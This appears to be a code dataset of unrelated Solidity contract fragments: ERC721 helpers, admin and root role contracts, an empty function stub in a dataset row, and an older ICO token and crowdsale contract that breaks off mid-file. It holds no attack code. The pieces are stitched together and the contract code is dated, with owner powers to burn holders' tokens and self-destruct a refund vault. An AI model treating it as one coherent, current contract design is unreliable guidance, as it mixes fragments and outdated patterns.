* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
*
* This code is part of pjf project (https://pjf.one).
* Developed by Jagat Token (jagatoken.com).
*
*/
contract HasAdmin {
address private _admin;
event AdminChanged(address indexed admin);
modifier onlyAdmin {
_onlyAdmin();
_;
}
function _onlyAdmin() private view {
require(_isAdmin(msg.sender), "Admin only");
}
function admin() public view returns(address) {
return _admin;
}
function _setAdmin(address account) internal {
_admin = account;
emit AdminChanged(_admin);
}
function _isAdmin(address account) internal view returns(bool) {
return account == _admin;
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
*
* This code is part of pjf project (https://pjf.one).
* Developed by Jagat Token (jagatoken.com).
*
*/
contract HasRoot {
address private _root;
event RootChanged(address indexed newRoot);
modifier onlyRoot {
_onlyRoot();
_;
}
function _onlyRoot() private view {
require(_isRoot(msg.sender), "Root only");
}
function root() public view returns(address) {
return _root;
}
function _setRoot(address account) internal {
_root = account;
emit RootChanged(_root);
}
function _isRoot(address account) internal view returns(bool) {
return account == _root;
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
*
* This code is part of pjf project (https://pjf.one).
* Developed by Jagat Token (jagatoken.com).
*
*/
contract SigVerifier {
struct Sig {
bytes32 r;
bytes32 s;
uint8 v;
}
function sigPrefixed(bytes32 hash) internal pure returns (bytes32) {
return
keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32', hash));
}
function _isSigner(address account, bytes32 message, Sig memory sig)
internal
pure
returns (bool)
{
return ecrecover(message, sig.v, sig.r, sig.s) == account;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "HasRoot.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract MarketplaceWhitelist is HasRoot {
// Whitelist Marketplace contracts for easy trading.
address internal constant openSeaProxyAddress =
address(0xa5409ec958C83C3f309868babACA7c86DCB077c1); // OpenSea proxy
address internal constant looksRareAddress =
address(0xf42aa99F011A1fA7CDA90E5E98b277E306BcA83e); // LooksRare transfer manager
bool public approveOpenSea = true;
bool public approveLooksRare = true;
function whitelistMarketplace(bool opensea, bool looksrare)
external
onlyRoot
{
approveOpenSea = opensea;
approveLooksRare = looksrare;
}
}
|
Allows the current root to relinquish control of the contract. this done by set both root and admin address to zero./
|
function renounce() external onlyRoot returns (bool) {
emit Renounced(root(), admin());
_setRoot(address(0));
_setAdmin(address(0));
return true;
}
| 350,409
|
./full_match/5/0x0d03A2FF30b783602ac954C14202B2D5FEE7D86D/sources/contracts/MysticRealms.sol
|
Creates a new game token
|
function createRandomGameToken(string memory _name) public {
}
| 1,853,305
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* This code is taken from openZeppelin without any changes.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
mapping (address => bool) public unpausedWallet;
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused(address _to) {
require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]);
_;
}
// Add a wallet ignoring the "Exchange pause". Available to the owner of the contract.
function setUnpausedWallet(address _wallet, bool mode) public {
require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
unpausedWallet[_wallet] = mode;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function setPause(bool mode) public onlyOwner {
if (!paused && mode) {
paused = true;
emit Pause();
}
if (paused && !mode) {
paused = false;
emit Unpause();
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
* This code is taken from openZeppelin without any changes.
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
* This code is taken from openZeppelin without any changes.
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
* This code is taken from openZeppelin without any changes.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
* This code is taken from openZeppelin without any changes.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public grantedToSetUnpausedWallet;
function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function grantToSetUnpausedWallet(address _to, bool permission) public {
require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
grantedToSetUnpausedWallet[_to] = permission;
}
// Add a wallet ignoring the "Exchange pause". Available to the owner of the contract.
function setUnpausedWallet(address _wallet, bool mode) public {
require(owner == msg.sender || grantedToSetUnpausedWallet[msg.sender] || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
unpausedWallet[_wallet] = mode;
}
}
contract FreezingToken is PausableToken {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
// @ Do I have to use the function no
// @ When it is possible to call any time
// @ When it is launched automatically -
// @ Who can call the function any
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
// @ Do I have to use the function no
// @ When it is possible to call any time
// @ When it is launched automatically -
// @ Who can call the function any
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
// ***CHECK***SCENARIO***
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public onlyOwner {
freeze storage _freeze = freezedTokens[_beneficiary];
_freeze.amount = _amount;
_freeze.when = _when;
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(unpausedWallet[msg.sender]);
if(_when > 0){
freeze storage _freeze = freezedTokens[_to];
_freeze.amount = _freeze.amount.add(_value);
_freeze.when = (_freeze.when > _when)? _freeze.when: _when;
}
transfer(_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value));
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from).add(_value));
return super.transferFrom( _from,_to,_value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
* This code is taken from openZeppelin without any changes.
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract MigratableToken is BasicToken,Ownable {
uint256 public totalMigrated;
address public migrationAgent;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
function setMigrationAgent(address _migrationAgent) public onlyOwner {
require(migrationAgent == 0x0);
migrationAgent = _migrationAgent;
}
function migrateInternal(address _holder) internal {
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
balances[_holder] = 0;
totalSupply_ = totalSupply_.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
emit Migrate(_holder,migrationAgent,value);
}
function migrateAll(address[] _holders) public onlyOwner {
for(uint i = 0; i < _holders.length; i++){
migrateInternal(_holders[i]);
}
}
// Reissue your tokens.
function migrate() public
{
require(balances[msg.sender] > 0);
migrateInternal(msg.sender);
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(address _beneficiary, uint256 _value) public onlyOwner {
require(_value <= balances[_beneficiary]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_beneficiary] = balances[_beneficiary].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_beneficiary, _value);
emit Transfer(_beneficiary, address(0), _value);
}
}
contract UnburnableListToken is BurnableToken {
mapping (address => bool) public grantedToSetUnburnableWallet;
mapping (address => bool) public unburnableWallet;
function grantToSetUnburnableWallet(address _to, bool permission) public {
require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
grantedToSetUnburnableWallet[_to] = permission;
}
// Add a wallet to unburnable list. After adding wallet can not be removed from list. Available to the owner of the contract.
function setUnburnableWallet(address _wallet) public {
require(owner == msg.sender || grantedToSetUnburnableWallet[msg.sender] || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
unburnableWallet[_wallet] = true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(address _beneficiary, uint256 _value) public onlyOwner {
require(!unburnableWallet[_beneficiary]);
return super.burn(_beneficiary, _value);
}
}
/*
* Contract that is working with ERC223 tokens
*/
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
// (A2)
// Contract token
contract Token is FreezingToken, MintableToken, MigratableToken, UnburnableListToken {
string public constant name = "TOSS";
string public constant symbol = "PROOF OF TOSS";
uint8 public constant decimals = 18;
mapping (address => mapping (address => bool)) public grantedToAllowBlocking; // Address of smart contract that can allow other contracts to block tokens
mapping (address => mapping (address => bool)) public allowedToBlocking; // Address of smart contract that can block tokens
mapping (address => mapping (address => uint256)) public blocked; // Blocked tokens per blocker
event TokenOperationEvent(string operation, address indexed from, address indexed to, uint256 value, address indexed _contract);
modifier contractOnly(address _to) {
uint256 codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
require(codeLength > 0);
_;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transferToContract(address _to, uint256 _value, bytes _data) public contractOnly(_to) returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
super.transfer(_to, _value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
return true;
}
// @brief Allow another contract to allow another contract to block tokens. Can be revoked
// @param _spender another contract address
// @param _value amount of approved tokens
function grantToAllowBlocking(address _contract, bool permission) contractOnly(_contract) public {
grantedToAllowBlocking[msg.sender][_contract] = permission;
emit TokenOperationEvent('grant_allow_blocking', msg.sender, _contract, 0, 0);
}
// @brief Allow another contract to block tokens. Can't be revoked
// @param _owner tokens owner
// @param _contract another contract address
function allowBlocking(address _owner, address _contract) contractOnly(_contract) public {
require(_contract != msg.sender && _contract != owner);
require(grantedToAllowBlocking[_owner][msg.sender]);
allowedToBlocking[_owner][_contract] = true;
emit TokenOperationEvent('allow_blocking', _owner, _contract, 0, msg.sender);
}
// @brief Blocks tokens
// @param _blocking The address of tokens which are being blocked
// @param _value The blocked token count
function blockTokens(address _blocking, uint256 _value) whenNotPaused(_blocking) public {
require(allowedToBlocking[_blocking][msg.sender]);
require(balanceOf(_blocking) >= freezedTokenOf(_blocking).add(_value) && _value > 0);
balances[_blocking] = balances[_blocking].sub(_value);
blocked[_blocking][msg.sender] = blocked[_blocking][msg.sender].add(_value);
emit Transfer(_blocking, address(0), _value);
emit TokenOperationEvent('block', _blocking, 0, _value, msg.sender);
}
// @brief Unblocks tokens and sends them to the given address (to _unblockTo)
// @param _blocking The address of tokens which are blocked
// @param _unblockTo The address to send to the blocked tokens after unblocking
// @param _value The blocked token count to unblock
function unblockTokens(address _blocking, address _unblockTo, uint256 _value) whenNotPaused(_unblockTo) public {
require(allowedToBlocking[_blocking][msg.sender]);
require(blocked[_blocking][msg.sender] >= _value && _value > 0);
blocked[_blocking][msg.sender] = blocked[_blocking][msg.sender].sub(_value);
balances[_unblockTo] = balances[_unblockTo].add(_value);
emit Transfer(address(0), _blocking, _value);
if (_blocking != _unblockTo) {
emit Transfer(_blocking, _unblockTo, _value);
}
emit TokenOperationEvent('unblock', _blocking, _unblockTo, _value, msg.sender);
}
}
// (A3)
// Contract for freezing of investors' funds. Hence, investors will be able to withdraw money if the
// round does not attain the softcap. From here the wallet of the beneficiary will receive all the
// money (namely, the beneficiary, not the manager's wallet).
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
uint8 round;
mapping (uint8 => mapping (address => uint256)) public deposited;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Deposited(address indexed beneficiary, uint256 weiAmount);
function RefundVault() public {
state = State.Active;
}
// Depositing funds on behalf of an TokenSale investor. Available to the owner of the contract (Crowdsale Contract).
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[round][investor] = deposited[round][investor].add(msg.value);
emit Deposited(investor,msg.value);
}
// Move the collected funds to a specified address. Available to the owner of the contract.
function close(address _wallet1, address _wallet2, uint256 _feesValue) onlyOwner public {
require(state == State.Active);
require(_wallet1 != 0x0);
state = State.Closed;
emit Closed();
if(_wallet2 != 0x0)
_wallet2.transfer(_feesValue);
_wallet1.transfer(address(this).balance);
}
// Allow refund to investors. Available to the owner of the contract.
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
// Return the funds to a specified investor. In case of failure of the round, the investor
// should call this method of this contract (RefundVault) or call the method claimRefund of Crowdsale
// contract. This function should be called either by the investor himself, or the company
// (or anyone) can call this function in the loop to return funds to all investors en masse.
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[round][investor];
require(depositedValue > 0);
deposited[round][investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
function restart() external onlyOwner {
require(state == State.Closed);
round++;
state = State.Active;
}
// Destruction of the contract with return of funds to the specified address. Available to
// the owner of the contract.
function del(address _wallet) external onlyOwner {
selfdestruct(_wallet);
}
}
// The contract for freezing tokens for the players and investors..
contract PeriodicAllocation is Ownable {
using SafeMath for uint256;
struct Share {
uint256 proportion;
uint256 periods;
uint256 periodLength;
}
// How many days to freeze from the moment of finalizing ICO
uint256 public unlockStart;
uint256 public totalShare;
mapping(address => Share) public shares;
mapping(address => uint256) public unlocked;
ERC20Basic public token;
function PeriodicAllocation(ERC20Basic _token) public {
token = _token;
}
function setUnlockStart(uint256 _unlockStart) onlyOwner external {
require(unlockStart == 0);
require(_unlockStart >= now);
unlockStart = _unlockStart;
}
function addShare(address _beneficiary, uint256 _proportion, uint256 _periods, uint256 _periodLength) onlyOwner external {
shares[_beneficiary] = Share(shares[_beneficiary].proportion.add(_proportion),_periods,_periodLength);
totalShare = totalShare.add(_proportion);
}
// If the time of freezing expired will return the funds to the owner.
function unlockFor(address _owner) public {
require(unlockStart > 0);
require(now >= (unlockStart.add(shares[_owner].periodLength)));
uint256 share = shares[_owner].proportion;
uint256 periodsSinceUnlockStart = (now.sub(unlockStart)).div(shares[_owner].periodLength);
if (periodsSinceUnlockStart < shares[_owner].periods) {
share = share.div(shares[_owner].periods).mul(periodsSinceUnlockStart);
}
share = share.sub(unlocked[_owner]);
if (share > 0) {
uint256 unlockedToken = token.balanceOf(this).mul(share).div(totalShare);
totalShare = totalShare.sub(share);
unlocked[_owner] += share;
token.transfer(_owner,unlockedToken);
}
}
}
contract AllocationQueue is Ownable {
using SafeMath for uint256;
// address => date => tokens
mapping(address => mapping(uint256 => uint256)) public queue;
uint256 public totalShare;
ERC20Basic public token;
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint16 constant ORIGIN_YEAR = 1970;
uint constant LEAP_YEARS_BEFORE_ORIGIN_YEAR = 477;
function AllocationQueue(ERC20Basic _token) public {
token = _token;
}
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function groupDates(uint256 _date) internal view returns (uint256) {
uint secondsAccountedFor = 0;
// Year
uint year = ORIGIN_YEAR + _date / YEAR_IN_SECONDS;
uint numLeapYears = ((year - 1) / 4 - (year - 1) / 100 + (year - 1) / 400) - LEAP_YEARS_BEFORE_ORIGIN_YEAR; // leapYearsBefore(year) - LEAP_YEARS_BEFORE_ORIGIN_YEAR
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > _date) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
// Month
uint8 month;
uint seconds31 = 31 * DAY_IN_SECONDS;
uint seconds30 = 30 * DAY_IN_SECONDS;
uint secondsFeb = (isLeapYear(uint16(year)) ? 29 : 28) * DAY_IN_SECONDS;
if (secondsAccountedFor + seconds31 > _date) {
month = 1;
} else if (secondsAccountedFor + seconds31 + secondsFeb > _date) {
month = 2;
} else if (secondsAccountedFor + 2 * seconds31 + secondsFeb > _date) {
month = 3;
} else if (secondsAccountedFor + 2 * seconds31 + seconds30 + secondsFeb > _date) {
month = 4;
} else if (secondsAccountedFor + 3 * seconds31 + seconds30 + secondsFeb > _date) {
month = 5;
} else if (secondsAccountedFor + 3 * seconds31 + 2 * seconds30 + secondsFeb > _date) {
month = 6;
} else if (secondsAccountedFor + 4 * seconds31 + 2 * seconds30 + secondsFeb > _date) {
month = 7;
} else if (secondsAccountedFor + 5 * seconds31 + 2 * seconds30 + secondsFeb > _date) {
month = 8;
} else if (secondsAccountedFor + 5 * seconds31 + 3 * seconds30 + secondsFeb > _date) {
month = 9;
} else if (secondsAccountedFor + 6 * seconds31 + 3 * seconds30 + secondsFeb > _date) {
month = 10;
} else if (secondsAccountedFor + 6 * seconds31 + 4 * seconds30 + secondsFeb > _date) {
month = 11;
} else {
month = 12;
}
return uint256(year) * 100 + uint256(month);
}
function addShare(address _beneficiary, uint256 _tokens, uint256 _freezeTime) onlyOwner external {
require(_beneficiary != 0x0);
require(token.balanceOf(this) == totalShare.add(_tokens));
uint256 currentDate = groupDates(now);
uint256 unfreezeDate = groupDates(now.add(_freezeTime));
require(unfreezeDate > currentDate);
queue[_beneficiary][unfreezeDate] = queue[_beneficiary][unfreezeDate].add(_tokens);
totalShare = totalShare.add(_tokens);
}
function unlockFor(address _owner, uint256 _date) public {
uint256 date = groupDates(_date);
require(date <= groupDates(now));
uint256 share = queue[_owner][date];
queue[_owner][date] = 0;
if (share > 0) {
token.transfer(_owner,share);
totalShare = totalShare.sub(share);
}
}
// Available to unlock funds for the date. Constant.
function getShare(address _owner, uint256 _date) public view returns(uint256){
uint256 date = groupDates(_date);
return queue[_owner][date];
}
}
contract Creator{
Token public token = new Token();
RefundVault public refund = new RefundVault();
function createToken() external returns (Token) {
token.transferOwnership(msg.sender);
return token;
}
function createPeriodicAllocation(Token _token) external returns (PeriodicAllocation) {
PeriodicAllocation allocation = new PeriodicAllocation(_token);
allocation.transferOwnership(msg.sender);
return allocation;
}
function createAllocationQueue(Token _token) external returns (AllocationQueue) {
AllocationQueue allocation = new AllocationQueue(_token);
allocation.transferOwnership(msg.sender);
return allocation;
}
function createRefund() external returns (RefundVault) {
refund.transferOwnership(msg.sender);
return refund;
}
}
// Project: toss.pro
// Developed by AXIOMAdev.com and CryptoB2B.io
// Copying in whole or in part is prohibited
// (A1)
// The main contract for the sale and management of rounds.
// 0000000000000000000000000000000000000000000000000000000000000000
contract Crowdsale{
uint256 constant USER_UNPAUSE_TOKEN_TIMEOUT = 60 days;
uint256 constant FORCED_REFUND_TIMEOUT1 = 400 days;
uint256 constant FORCED_REFUND_TIMEOUT2 = 600 days;
uint256 constant ROUND_PROLONGATE = 0 days;
uint256 constant BURN_TOKENS_TIME = 90 days;
using SafeMath for uint256;
enum TokenSaleType {round1, round2}
TokenSaleType public TokenSale = TokenSaleType.round2;
// 0 1 2 3 4 5 6 7 8 9 10 11 12
enum Roles {beneficiary, accountant, manager, observer, bounty, advisers, team, founders, fund, fees, players, airdrop, referrals}
Creator public creator;
bool creator2;
bool isBegin=false;
Token public token;
RefundVault public vault;
PeriodicAllocation public allocation;
AllocationQueue public allocationQueue;
bool public isFinalized;
bool public isInitialized;
bool public isPausedCrowdsale;
bool public chargeBonuses;
// Initially, all next 7+ roles/wallets are given to the Manager. The Manager is an employee of the company
// with knowledge of IT, who publishes the contract and sets it up. However, money and tokens require
// a Beneficiary and other roles (Accountant, Team, etc.). The Manager will not have the right
// to receive them. To enable this, the Manager must either enter specific wallets here, or perform
// this via method changeWallet. In the finalization methods it is written which wallet and
// what percentage of tokens are received.
address[13] public wallets = [
// Beneficiary
// Receives all the money (when finalizing Round1 & Round2)
0x4e82764a0be4E0859e87cD47eF348e8D892C2567,
// Accountant
// Receives all the tokens for non-ETH investors (when finalizing Round1 & Round2)
0xD29f0aE1621F4Be48C4DF438038E38af546DA498,
// Manager
// All rights except the rights to receive tokens or money. Has the right to change any other
// wallets (Beneficiary, Accountant, ...), but only if the round has not started. Once the
// round is initialized, the Manager has lost all rights to change the wallets.
// If the TokenSale is conducted by one person, then nothing needs to be changed. Permit all 7 roles
// point to a single wallet.
msg.sender,
// Observer
// Has only the right to call paymentsInOtherCurrency (please read the document)
